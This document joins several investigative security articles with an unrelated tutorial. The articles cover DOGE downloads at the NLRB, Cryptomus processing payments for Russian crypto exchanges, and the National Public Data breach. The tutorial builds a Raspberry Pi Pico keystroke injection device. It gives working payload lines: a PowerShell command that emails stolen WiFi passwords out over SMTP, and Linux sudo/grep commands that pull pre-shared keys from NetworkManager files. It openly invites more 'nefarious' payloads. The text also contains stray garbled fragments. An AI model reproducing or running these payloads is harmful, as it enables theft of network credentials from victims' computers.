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A whistleblower at the National Labor Relations Board (NLRB) alleged last week that denizens of Elon Musk’s Department of Government Efficiency (DOGE) siphoned gigabytes of data from the agency’s sensitive case files in early March. The whistleblower said accounts created for DOGE at the NLRB downloaded three code repositories from GitHub. Further investigation into one of those code bundles shows it is remarkably similar to a program published in January 2025 by Marko Elez, a 25-year-old DOGE employee who has worked at a number of Musk’s companies.
A screenshot shared by NLRB whistleblower Daniel Berulis shows three downloads from GitHub.
According to a whistleblower complaint filed last week by Daniel J. Berulis, a 38-year-old security architect at the NLRB, officials from DOGE met with NLRB leaders on March 3 and demanded the creation of several all-powerful “tenant admin” accounts that were to be exempted from network logging activity that would otherwise keep a detailed record of all actions taken by those accounts.
Berulis said the new DOGE accounts had unrestricted permission to read, copy, and alter information contained in NLRB databases. The new accounts also could restrict log visibility, delay retention, route logs elsewhere, or even remove them entirely — top-tier user privileges that neither Berulis nor his boss possessed.
Berulis said he discovered one of the DOGE accounts had downloaded three external code libraries from GitHub that neither NLRB nor its contractors ever used. A “readme” file in one of the code bundles explained it was created to rotate connections through a large pool of cloud Internet addresses that serve “as a proxy to generate pseudo-infinite IPs for web scraping and brute forcing.” Brute force attacks involve automated login attempts that try many credential combinations in rapid sequence.
A search on that description in Google brings up a code repository at GitHub for a user with the account name “Ge0rg3” who published a program roughly four years ago called “requests-ip-rotator,” described as a library that will allow the user “to bypass IP-based rate-limits for sites and services.”
The README file from the GitHub user Ge0rg3’s page for requests-ip-rotator includes the exact wording of a program the whistleblower said was downloaded by one of the DOGE users. Marko Elez created an offshoot of this program in January 2025.
“A Python library to utilize AWS API Gateway’s large IP pool as a proxy to generate pseudo-infinite IPs for web scraping and brute forcing,” the description reads.
Ge0rg3’s code is “open source,” in that anyone can copy it and reuse it non-commercially. As it happens, there is a newer version of this project that was derived or “forked” from Ge0rg3’s code — called “async-ip-rotator” — and it was committed to GitHub in January 2025 by DOGE captain Marko Elez.
The whistleblower stated that one of the GitHub files downloaded by the DOGE employees who transferred sensitive files from an NLRB case database was an archive whose README file read: “Python library to utilize AWS API Gateway’s large IP pool as a proxy to generate pseudo-infinite IPs for web scraping and brute forcing.” Elez’s code pictured here was forked in January 2025 from a code library that shares the same description.
A key DOGE staff member who gained access to the Treasury Department’s central payments system, Elez has worked for a number of Musk companies, including X, SpaceX, and xAI. Elez was among the first DOGE employees to face public scrutiny, after The Wall Street Journal linked him to social media posts that advocated racism and eugenics.
Elez resigned after that brief scandal, but was rehired after President Donald Trump and Vice President JD Vance expressed support for him. Politico reports Elez is now a Labor Department aide detailed to multiple agencies, including the Department of Health and Human Services.
“During Elez’s initial stint at Treasury, he violated the agency’s information security policies by sending a spreadsheet containing names and payments information to officials at the General Services Administration,” Politico wrote, citing court filings.
KrebsOnSecurity sought comment from both the NLRB and DOGE, and will update this story if either responds.
The NLRB has been effectively hobbled since President Trump fired three board members, leaving the agency without the quorum it needs to function. Both Amazon and Musk’s SpaceX have been suing the NLRB over complaints the agency filed in disputes about workers’ rights and union organizing, arguing that the NLRB’s very existence is unconstitutional. On March 5, a U.S. appeals court unanimously rejected Musk’s claim that the NLRB’s structure somehow violates the Constitution.
Berulis’s complaint alleges the DOGE accounts at NLRB downloaded more than 10 gigabytes of data from the agency’s case files, a database that includes reams of sensitive records including information about employees who want to form unions and proprietary business documents. Berulis said he went public after higher-ups at the agency told him not to report the matter to the US-CERT, as they’d previously agreed.
Berulis told KrebsOnSecurity he worried the unauthorized data transfer by DOGE could unfairly advantage defendants in a number of ongoing labor disputes before the agency.
“If any company got the case data that would be an unfair advantage,” Berulis said. “They could identify and fire employees and union organizers without saying why.”
Marko Elez, in a photo from a social media profile.
Berulis said the other two GitHub archives that DOGE employees downloaded to NLRB systems included Integuru, a software framework designed to reverse engineer application programming interfaces (APIs) that websites use to fetch data; and a “headless” browser called Browserless, which is made for automating web-based tasks that require a pool of browsers, such as web scraping and automated testing.
On February 6, someone posted a lengthy and detailed critique of Elez’s code on the GitHub “issues” page for async-ip-rotator, calling it “insecure, unscalable and a fundamental engineering failure.”
“If this were a side project, it would just be bad code,” the reviewer wrote. “But if this is representative of how you build production systems, then there are much larger concerns. This implementation is fundamentally broken, and if anything similar to this is deployed in an environment handling sensitive data, it should be audited immediately.”
Further reading: Berulis’s complaint (PDF).
Update 7:06 p.m. ET: Elez’s code repo was deleted after this story was published. An archived version of it is here.
A financial firm registered in Canada has emerged as the payment processor for dozens of Russian cryptocurrency exchanges and websites hawking cybercrime services aimed at Russian-speaking customers, new research finds. Meanwhile, an investigation into the Vancouver street address used by this company shows it is home to dozens of foreign currency dealers, money transfer businesses, and cryptocurrency exchanges — none of which are physically located there.
Richard Sanders is a blockchain analyst and investigator who advises the law enforcement and intelligence community. Sanders spent most of 2023 in Ukraine, traveling with Ukrainian soldiers while mapping the shifting landscape of Russian crypto exchanges that are laundering money for narcotics networks operating in the region.
More recently, Sanders has focused on identifying how dozens of popular cybercrime services are getting paid by their customers, and how they are converting cryptocurrency revenues into cash. For the past several months, he’s been signing up for various cybercrime services, and then tracking where their customer funds go from there.
The 122 services targeted in Sanders’ research include some of the more prominent businesses advertising on the cybercrime forums today, such as:
-abuse-friendly or “bulletproof” hosting providers like anonvm[.]wtf, and PQHosting;
-sites selling aged email, financial, or social media accounts, such as verif[.]work and kopeechka[.]store;
-anonymity or “proxy” providers like crazyrdp[.]com and rdp[.]monster;
-anonymous SMS services, including anonsim[.]net and smsboss[.]pro.
The site Verif dot work, which processes payments through Cryptomus, sells financial accounts, including debit and credit cards.
Sanders said he first encountered some of these services while investigating Kremlin-funded disinformation efforts in Ukraine, as they are all useful in assembling large-scale, anonymous social media campaigns.
According to Sanders, all 122 of the services he tested are processing transactions through a company called Cryptomus, which says it is a cryptocurrency payments platform based in Vancouver, British Columbia. Cryptomus’ website says its parent firm — Xeltox Enterprises Ltd. (formerly certa-pay[.]com) — is registered as a money service business (MSB) with the Financial Transactions and Reports Analysis Centre of Canada (FINTRAC).
Sanders said the payment data he gathered also shows that at least 56 cryptocurrency exchanges are currently using Cryptomus to process transactions, including financial entities with names like casher[.]su, grumbot[.]com, flymoney[.]biz, obama[.]ru and swop[.]is.
These platforms are built for Russian speakers, and they each advertise the ability to anonymously swap one form of cryptocurrency for another. They also allow the exchange of cryptocurrency for cash in accounts at some of Russia’s largest banks — nearly all of which are currently sanctioned by the United States and other western nations.
A machine-translated version of Flymoney, one of dozens of cryptocurrency exchanges apparently nested at Cryptomus.
An analysis of their technology infrastructure shows that all of these exchanges use Russian email providers, and most are directly hosted in Russia or by Russia-backed ISPs with infrastructure in Europe (e.g. Selectel, Netwarm UK, Beget, Timeweb and DDoS-Guard). The analysis also showed nearly all 56 exchanges used services from Cloudflare, a global content delivery network based in San Francisco.
“Purportedly, the purpose of these platforms is for companies to accept cryptocurrency payments in exchange for goods or services,” Sanders told KrebsOnSecurity. “Unfortunately, it is next to impossible to find any goods for sale with websites using Cryptomus, and the services appear to fall into one or two different categories: Facilitating transactions with sanctioned Russian banks, and platforms providing the infrastructure and means for cyber attacks.”
Cryptomus did not respond to multiple requests for comment.
The Cryptomus website and its FINTRAC listing say the company’s registered address is Suite 170, 422 Richards St. in Vancouver, BC. This address was the subject of an investigation published in July by CTV National News and the Investigative Journalism Foundation (IJF), which documented dozens of cases across Canada where multiple MSBs are incorporated at the same address, often without the knowledge or consent of the location’s actual occupant.
This building at 422 Richards St. in downtown Vancouver is the registered address for 90 money services businesses, including 10 that have had their registrations revoked. Image: theijf.org/msb-cluster-investigation.
Their inquiry found 422 Richards St. was listed as the registered address for at least 76 foreign currency dealers, eight MSBs, and six cryptocurrency exchanges. At that address is a three-story building that used to be a bank and now houses a massage therapy clinic and a co-working space. But they found none of the MSBs or currency dealers were paying for services at that co-working space.
The reporters found another collection of 97 MSBs clustered at an address for a commercial office suite in Ontario, even though there was no evidence these companies had ever arranged for any business services at that address.
Peter German, a former deputy commissioner for the Royal Canadian Mounted Police who authored two reports on money laundering in British Columbia, told the publications it goes against the spirit of Canada’s registration requirements for such businesses, which are considered high-risk for money laundering and terrorist financing.
“If you’re able to have 70 in one building, that’s just an abuse of the whole system,” German said.
Ten MSBs registered to 422 Richard St. had their registrations revoked. One company at 422 Richards St. whose registration was revoked this year had a director with a listed address in Russia, the publications reported. “Others appear to be directed by people who are also directors of companies in Cyprus and other high-risk jurisdictions for money laundering,” they wrote.
A review of FINTRAC’s registry (.CSV) shows many of the MSBs at 422 Richards St. are international money transfer or remittance services to countries like Malaysia, India and Nigeria. Some act as currency exchanges, while others appear to sell merchant accounts and online payment services. Still, KrebsOnSecurity could find no obvious connections between the 56 Russian cryptocurrency exchanges identified by Sanders and the dozens of payment companies that FINTRAC says share an address with the Cryptomus parent firm Xeltox Enterprises.
In August 2023, Binance and some of the largest cryptocurrency exchanges responded to sanctions against Russia by cutting off many Russian banks and restricting Russian customers to transactions in Rubles only. Sanders said prior to that change, most of the exchanges currently served by Cryptomus were handling customer funds with their own self-custodial cryptocurrency wallets.
By September 2023, Sanders said he found the exchanges he was tracking had all nested themselves like Matryoshka dolls at Cryptomus, which adds a layer of obfuscation to all transactions by generating a new cryptocurrency wallet for each order.
“They all simply moved to Cryptomus,” he said. “Cryptomus generates new wallets for each order, rendering ongoing attribution to require transactions with high fees each time.”
“Exchanges like Binance and OKX removing Sberbank and other sanctioned banks and offboarding Russian users did not remove the ability of Russians to transact in and out of cryptocurrency easily,” he continued. “In fact, it’s become easier, because the instant-swap exchanges do not even have Know Your Customer rules. The U.S. sanctions resulted in the majority of Russian instant exchanges switching from their self-custodial wallets to platforms, especially Cryptomus.”
Russian President Vladimir Putin in August signed a new law legalizing cryptocurrency mining and allowing the use of cryptocurrency for international payments. The Russian government’s embrace of cryptocurrency was a remarkable pivot: Bloomberg notes that as recently as January 2022, just weeks before Russia’s full-scale invasion of Ukraine, the central bank proposed a blanket ban on the use and creation of cryptocurrencies.
In a report on Russia’s cryptocurrency ambitions published in September, blockchain analysis firm Chainalysis said Russia’s move to integrate crypto into its financial system may improve its ability to bypass the U.S.-led financial system and to engage in non-dollar denominated trade.
“Although it can be hard to quantify the true impact of certain sanctions actions, the fact that Russian officials have singled out the effect of sanctions on Moscow’s ability to process cross-border trade suggests that the impact felt is great enough to incite urgency to legitimize and invest in alternative payment channels it once decried,” Chainalysis assessed.
Asked about its view of activity on Cryptomus, Chainanlysis said Cryptomus has been used by criminals of all stripes for laundering money and/or the purchase of goods and services.
“We see threat actors engaged in ransomware, narcotics, darknet markets, fraud, cybercrime, sanctioned entities and jurisdictions, and hacktivism making deposits to Cryptomus for purchases but also laundering the services using Cryptomos payment API,” the company said in a statement.
It is unclear if Cryptomus and/or Xeltox Enterprises have any presence in Canada at all. A search in the United Kingdom’s Companies House registry for Xeltox’s former name — Certa Payments Ltd. — shows an entity by that name incorporated at a mail drop in London in December 2023.
The sole shareholder and director of that company is listed as a 25-year-old Ukrainian woman in the Czech Republic named Vira Krychka. Ms. Krychka was recently appointed the director of several other new U.K. firms, including an entity created in February 2024 called Globopay UAB Ltd, and another called WS Management and Advisory Corporation Ltd. Ms. Krychka did not respond to a request for comment.
WS Management and Advisory Corporation bills itself as the regulatory body that exclusively oversees licenses of cryptocurrencies in the jurisdiction of Western Sahara, a disputed territory in northwest Africa. Its website says the company assists applicants with bank setup and formation, online gaming licenses, and the creation and licensing of foreign exchange brokers. One of Certa Payments’ former websites — certa[.]website — also shared a server with 12 other domains, including rasd-state[.]ws, a website for the Central Reserve Authority of the Western Sahara.
The website crasadr dot com, the official website of the Central Reserve Authority of Western Sahara.
This business registry from the Czech Republic indicates Ms. Krychka works as a director at an advertising and marketing firm called Icon Tech SRO, which was previously named Blaven Technologies (Blaven’s website says it is an online payment service provider).
In August 2024, Icon Tech changed its name again to Mezhundarondnaya IBU SRO, which describes itself as an “experienced company in IT consulting” that is based in Armenia. The same registry says Ms. Krychka is somehow also a director at a Turkish investment venture. So much business acumen at such a young age!
For now, Canada remains an attractive location for cryptocurrency businesses to set up shop, at least on paper. The IJF and CTV News found that as of February 2024, there were just over 3,000 actively registered MSBs in Canada, 1,247 of which were located at the same building as at least one other MSB.
“That analysis does not include the roughly 2,700 MSBs whose registrations have lapsed, been revoked or otherwise stopped,” they observed. “If they are included, then a staggering 2,061 out of 5,705 total MSBs share a building with at least one other MSB.”
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A great many readers this month reported receiving alerts that their Social Security Number, name, address and other personal information were exposed in a breach at a little-known but aptly-named consumer data broker called NationalPublicData.com. This post examines what we know about a breach that has exposed hundreds of millions of consumer records. We’ll also take a closer look at the data broker that got hacked — a background check company founded by an actor and retired sheriff’s deputy from Florida.
On July 21, 2024, denizens of the cybercrime community Breachforums released more than 4 terabytes of data they claimed was stolen from nationalpublicdata.com, a Florida-based company that collects data on consumers and processes background checks.
The breach tracking service HaveIBeenPwned.com and the cybercrime-focused Twitter account vx-underground both concluded the leak is the same information first put up for sale in April 2024 by a prolific cybercriminal who goes by the name “USDoD.”
On April 7, USDoD posted a sales thread on Breachforums for four terabytes of data — 2.9 billion rows of records — they claimed was taken from nationalpublicdata.com. The snippets of stolen data that USDoD offered as teasers showed rows of names, addresses, phone numbers, and Social Security Numbers (SSNs). Their asking price? $3.5 million.
Many media outlets mistakenly reported that the National Public data breach affects 2.9 billion people (that figure actually refers to the number of rows in the leaked data sets). HaveIBeenPwned.com’s Troy Hunt analyzed the leaked data and found it is a somewhat disparate collection of consumer and business records, including the real names, addresses, phone numbers and SSNs of millions of Americans (both living and deceased), and 70 million rows from a database of U.S. criminal records.
Hunt said he found 137 million unique email addresses in the leaked data, but stressed that there were no email addresses in the files containing SSN records.
“If you find yourself in this data breach via HaveIBeenPwned.com, there’s no evidence your SSN was leaked, and if you’re in the same boat as me, the data next to your record may not even be correct.”
Nationalpublicdata.com publicly acknowledged a breach in a statement on Aug. 12, saying “there appears to have been a data security incident that may have involved some of your personal information. The incident appears to have involved a third-party bad actor that was trying to hack into data in late December 2023, with potential leaks of certain data in April 2024 and summer 2024.”
The company said the information “suspected of being breached” contained name, email address, phone number, social security number, and mailing address(es).
“We cooperated with law enforcement and governmental investigators and conducted a review of the potentially affected records and will try to notify you if there are further significant developments applicable to you,” the statement continues. “We have also implemented additional security measures in efforts to prevent the reoccurrence of such a breach and to protect our systems.”
Hunt’s analysis didn’t say how many unique SSNs were included in the leaked data. But according to researchers at Atlas Data Privacy Corp., there are 272 million unique SSNs in the entire records set.
Atlas found most records have a name, SSN, and home address, and that approximately 26 percent of those records included a phone number. Atlas said they verified 5,000 addresses and phone numbers, and found the records pertain to people born before Jan. 1, 2002 (with very few exceptions).
If there is a tiny silver lining to the breach it is this: Atlas discovered that many of the records related to people who are now almost certainly deceased. They found the average age of the consumer in these records is 70, and fully two million records are related to people whose date of birth would make them more than 120 years old today.
Where did National Public Data get its consumer data? The company’s website doesn’t say, but it is operated by an entity in Coral Springs, Fla. called Jerico Pictures Inc. The website for Jerico Pictures is not currently responding. However, cached versions of it at archive.org show it is a film studio with offices in Los Angeles and South Florida.
The Florida Secretary of State says Jerico Pictures is owned by Salvatore (Sal) Verini Jr., a retired deputy with the Broward County Sheriff’s office. The Secretary of State also says Mr. Verini is or was a founder of several other Florida companies, including National Criminal Data LLC, Twisted History LLC, Shadowglade LLC and Trinity Entertainment Inc., among others.
Mr. Verini did not respond to multiple requests for comment. Cached copies of Mr. Verini’s vanity domain salvatoreverini.com recount his experience in acting (e.g. a role in a 1980s detective drama with Burt Reynolds) and more recently producing dramas and documentaries for several streaming channels.
Sal Verini’s profile page at imdb.com.
Pivoting on the email address used to register that vanity domain, DomainTools.com finds several other domains whose history offers a clearer picture of the types of data sources relied upon by National Public Data.
One of those domains is recordscheck.net (formerly recordscheck.info), which advertises “instant background checks, SSN traces, employees screening and more.” Another now-defunct business tied to Mr. Verini’s email — publicrecordsunlimited.com — said it obtained consumer data from a variety of sources, including: birth, marriage and death records; voting records; professional licenses; state and federal criminal records.
The homepage for publicrecordsunlimited.com, per archive.org circa 2017.
It remains unclear how thieves originally obtained these records from National Public Data. KrebsOnSecurity sought comment from USDoD, who is perhaps best known for hacking into Infragard, an FBI program that facilitates information sharing about cyber and physical threats with vetted people in the private sector.
USDoD said they indeed sold the same data set that was leaked on Breachforums this past month, but that the person who leaked the data did not obtain it from them. USDoD said the data stolen from National Public Data had traded hands several times since it was initially stolen in December 2023.
“The database has been floating around for a while,” USDoD said. “I was not the first one to get it.”
USDoD said the person who originally stole the data from NPD was a hacker who goes by the handle SXUL. That user appears to have deleted their Telegram account several days ago, presumably in response to intense media coverage of the breach.
Data brokers like National Public Data typically get their information by scouring federal, state and local government records. Those government files include voting registries, property filings, marriage certificates, motor vehicle records, criminal records, court documents, death records, professional licenses, bankruptcy filings, and more.
Americans may believe they have the right to opt out of having these records collected and sold to anyone. But experts say these underlying sources of information — the above-mentioned “public” records — are carved out from every single state consumer privacy law. This includes California’s privacy regime, which is often held up as the national leader in state privacy regulations.
You see, here in America, virtually anyone can become a consumer data broker. And with few exceptions, there aren’t any special requirements for brokers to show that they actually care about protecting the data they collect, store, repackage and sell so freely.
In February 2023, PeopleConnect, the owners of the background search services TruthFinder and Instant Checkmate, acknowledged a breach affecting 20 million customers who paid the data brokers to run background checks. The data exposed included email addresses, hashed passwords, first and last names, and phone numbers.
In 2019, malicious hackers stole data on more than 1.5 billion people from People Data Labs, a San Francisco data broker whose people-search services linked hundreds of millions of email addresses, LinkedIn and Facebook profiles and more than 200 million valid cell phone numbers.
These data brokers are the digital equivalent of massive oil tankers wandering the coast without GPS or an anchor, because when they get hacked, the effect is very much akin to the ecological and economic fallout from a giant oil spill.
It’s an apt analogy because the dissemination of so much personal data all at once has ripple effects for months and years to come, as this information invariably feeds into a vast underground ocean of scammers who are already equipped and staffed to commit identity theft and account takeovers at scale.
It’s also apt because much like with real-life oil spills, the cleanup costs and effort from data spills — even just vast collections of technically “public” documents like the NPD corpus — can be enormous, and most of the costs associated with that fall to consumers, directly or indirectly.
Should you worry that your SSN and other personal data might be exposed in this breach? That isn’t necessary for people who’ve been following the advice here for years, which is to freeze one’s credit file at each of the major consumer reporting bureaus. Having a freeze on your files makes it much harder for identity thieves to create new accounts in your name, and it limits who can view your credit information.
The main reason I recommend the freeze is that all of the information ID thieves need to assume your identity is now broadly available from multiple sources, thanks to the multiplicity of data breaches we’ve seen involving SSN data and other key static data points about people.
But beyond that, there are numerous cybercriminal services that offer detailed background checks on consumers, including full SSNs. These services are powered by compromised accounts at data brokers that cater to private investigators and law enforcement officials, and some are now fully automated via Telegram instant message bots. Meaning, if you’re an American who hasn’t frozen their credit files and you haven’t yet experienced some form of new account fraud, the ID thieves probably just haven’t gotten around to you yet.
All Americans are also entitled to obtain a free copy of their credit report weekly from each of the three major credit bureaus. It used to be that consumers were allowed one free report from each of the bureaus annually, but in October 2023 the Federal Trade Commission announced the bureaus had permanently extended a program that lets you check your credit report once a week for free.
If you haven’t done this in a while, now would be an excellent time to order your files. To place a freeze, you need to create an account at each of the three major reporting bureaus, Equifax, Experian and TransUnion. Once you’ve established an account, you should be able to then view and freeze your credit file. Dispute any inaccuracies you may find. If you spot errors, such as random addresses and phone numbers you don’t recognize, do not ignore them: Identity theft and new account fraud are not problems that get easier to solve by letting them fester.
Mr. Verini probably didn’t respond to requests for comment because his company is now the subject of a class-action lawsuit (NB: the lawsuit also erroneously claims 3 billion people were affected). These lawsuits are practically inevitable now after a major breach, but they also have the unfortunate tendency to let regulators and lawmakers off the hook.
Almost every time there’s a major breach of SSN data, Americans are offered credit monitoring services. Most of the time, those services come from one of the three major consumer credit bureaus, the same companies that profit by compiling and selling incredibly detailed dossiers on consumers’ financial lives. The same companies that use dark patterns to trick people into paying for “credit lock” services that achieve a similar result as a freeze but still let the bureaus sell your data to their partners.
But class-actions alone will not drive us toward a national conversation about what needs to change. Americans currently have very few rights to opt out of the personal and financial surveillance, data collection and sale that is pervasive in today’s tech-based economy.
The breach at National Public Data may not be the worst data breach ever. But it does present yet another opportunity for this country’s leaders to acknowledge that the SSN has completely failed as a measure of authentication or authorization. It was never a good idea to use as an authenticator to begin with, and it is certainly no longer suitable for this purpose.
The truth is that these data brokers will continue to proliferate and thrive (and get hacked and relieved of their data) until Congress begins to realize it’s time for some consumer privacy and data protection laws that are relevant to life in the 21st century.
Further reporting: National Public Data Published Its Own Passwords
Update, Aug. 16, 8:00 a.m. ET: Corrected the story to note that consumers can now obtain a free credit report from each of the three consumer reporting bureaus weekly, instead of just annually.
Update, Aug. 23, 12:33 p.m. ET: Added link to latest story on NPD breach.
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Have you ever watched a film where a hacker would plug-in, seemingly ordinary, USB drive into a victim's computer and steal data from it? - A proper wet dream for some.
Disclaimer: All content in this project is intended for security research purpose only.
During the summer of 2022, I decided to do exactly that, to build a device that will allow me to steal data from a victim's computer. So, how does one deploy malware and exfiltrate data? In the following text I will explain all of the necessary steps, theory and nuances when it comes to building your own keystroke injection tool. While this project/tutorial focuses on WiFi passwords, payload code could easily be altered to do something more nefarious. You are only limited by your imagination (and your technical skills).
After creating pico-ducky, you only need to copy the modified payload (adjusted for your SMTP details for Windows exploit and/or adjusted for the Linux password and a USB drive name) to the RPi Pico.
Physical access to victim's computer.
Unlocked victim's computer.
Victim's computer has to have an internet access in order to send the stolen data using SMTP for the exfiltration over a network medium.
Knowledge of victim's computer password for the Linux exploit.
Note:
It is possible to build this tool using Rubber Ducky, but keep in mind that RPi Pico costs about $4.00 and the Rubber Ducky costs $80.00.
However, while pico-ducky is a good and budget-friedly solution, Rubber Ducky does offer things like stealthiness and usage of the lastest DuckyScript version.
In order to use Ducky Script to write the payload on your RPi Pico you first need to convert it to a pico-ducky. Follow these simple steps in order to create pico-ducky.
Keystroke injection tool, once connected to a host machine, executes malicious commands by running code that mimics keystrokes entered by a user. While it looks like a USB drive, it acts like a keyboard that types in a preprogrammed payload. Tools like Rubber Ducky can type over 1,000 words per minute. Once created, anyone with physical access can deploy this payload with ease.
The payload uses STRING command processes keystroke for injection. It accepts one or more alphanumeric/punctuation characters and will type the remainder of the line exactly as-is into the target machine. The ENTER/SPACE will simulate a press of keyboard keys.
We use DELAY command to temporarily pause execution of the payload. This is useful when a payload needs to wait for an element such as a Command Line to load. Delay is useful when used at the very beginning when a new USB device is connected to a targeted computer. Initially, the computer must complete a set of actions before it can begin accepting input commands. In the case of HIDs setup time is very short. In most cases, it takes a fraction of a second, because the drivers are built-in. However, in some instances, a slower PC may take longer to recognize the pico-ducky. The general advice is to adjust the delay time according to your target.
Data exfiltration is an unauthorized transfer of data from a computer/device. Once the data is collected, adversary can package it to avoid detection while sending data over the network, using encryption or compression. Two most common way of exfiltration are:
This approach was used for the Windows exploit. The whole payload can be seen here.
This approach was used for the Linux exploit. The whole payload can be seen here.
In order to use the Windows payload (payload1.dd), you don't need to connect any jumper wire between pins.
Once passwords have been exported to the .txt file, payload will send the data to the appointed email using Yahoo SMTP. For more detailed instructions visit a following link. Also, the payload template needs to be updated with your SMTP information, meaning that you need to update RECEIVER_EMAIL, SENDER_EMAIL and yours email PASSWORD. In addition, you could also update the body and the subject of the email.
| STRING Send-MailMessage -To 'RECEIVER_EMAIL' -from 'SENDER_EMAIL' -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL', $('PASSWORD' | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587 |
Note:
After sending data over the email, the
.txtfile is deleted.You can also use some an SMTP from another email provider, but you should be mindful of SMTP server and port number you will write in the payload.
Keep in mind that some networks could be blocking usage of an unknown SMTP at the firewall.
In order to use the Linux payload (payload2.dd) you need to connect a jumper wire between GND and GPIO5 in order to comply with the code in code.py on your RPi Pico. For more information about how to setup multiple payloads on your RPi Pico visit this link.
Once passwords have been exported from the computer, data will be saved to the appointed USB flash drive. In order for this payload to function properly, it needs to be updated with the correct name of your USB drive, meaning you will need to replace USBSTICK with the name of your USB drive in two places.
| STRING echo -e "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/USBSTICK/wifi_pass.txt |
| STRING done >> /media/$(hostname)/USBSTICK/wifi_pass.txt |
In addition, you will also need to update the Linux PASSWORD in the payload in three places. As stated above, in order for this exploit to be successful, you will need to know the victim's Linux machine password, which makes this attack less plausible.
| STRING echo PASSWORD | sudo -S echo |
| STRING do echo -e "$(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=ssid=).*') \t\t\t\t $(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=psk=).*')" |
In order to run the wifi_passwords_print.sh script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:
FreshRSS echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICKwhere PASSWORD is your account's password and USBSTICK is the name for your USB device.
NetworkManager is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses .ini-style keyfile format and stores network configuration profiles. The keyfile is a plugin that supports all the connection types and capabilities that NetworkManager has. The files are located in /etc/NetworkManager/system-connections/. Based on the keyfile format, the payload uses the grep command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used ((?<=keyword)). While the positive lookbehind assertion will match at a certain position in the string, sc. at a position right after the keyword without making that text itself part of the match, the regex (?<=keyword).* will match any text after the keyword. This allows the payload to match the values after SSID and psk (pre-shared key) keywords.
For more information about NetworkManager here is some useful links:
Below is an example of the exfiltrated and formatted data from a victim's machine in a .txt file.
WiFi-password-stealer/resources/wifi_pass.txt
Lines 1 to 5 in f5b3b11
| Wireless_Network_Name Password | |
| --------------------- -------- | |
| WLAN1 pass1 | |
| WLAN2 pass2 | |
| WLAN3 pass3 |
One of the advantages of Rubber Ducky over RPi Pico is that it doesn't show up as a USB mass storage device once plugged in. Once plugged into the computer, all the machine sees it as a USB keyboard. This isn't a default behavior for the RPi Pico. If you want to prevent your RPi Pico from showing up as a USB mass storage device when plugged in, you need to connect a jumper wire between pin 18 (GND) and pin 20 (GPIO15). For more details visit this link.
Tip:
- Upload your payload to RPi Pico before you connect the pins.
- Don't solder the pins because you will probably want to change/update the payload at some point.
When creating a functioning payload file, you can use the writer.py script, or you can manually change the template file. In order to run the script successfully you will need to pass, in addition to the script file name, a name of the OS (windows or linux) and the name of the payload file (e.q. payload1.dd). Below you can find an example how to run the writer script when creating a Windows payload.
python3 writer.py windows payload1.ddThis pico-ducky currently works only on Windows OS.
This attack requires physical access to an unlocked device in order to be successfully deployed.
The Linux exploit is far less likely to be successful, because in order to succeed, you not only need physical access to an unlocked device, you also need to know the admins password for the Linux machine.
Machine's firewall or network's firewall may prevent stolen data from being sent over the network medium.
Payload delays could be inadequate due to varying speeds of different computers used to deploy an attack.
The pico-ducky device isn't really stealthy, actually it's quite the opposite, it's really bulky especially if you solder the pins.
Also, the pico-ducky device is noticeably slower compared to the Rubber Ducky running the same script.
If the Caps Lock is ON, some of the payload code will not be executed and the exploit will fail.
If the computer has a non-English Environment set, this exploit won't be successful.
Currently, pico-ducky doesn't support DuckyScript 3.0, only DuckyScript 1.0 can be used. If you need the 3.0 version you will have to use the Rubber Ducky.
Caps Lock bug.sudo.
eleceye-1200
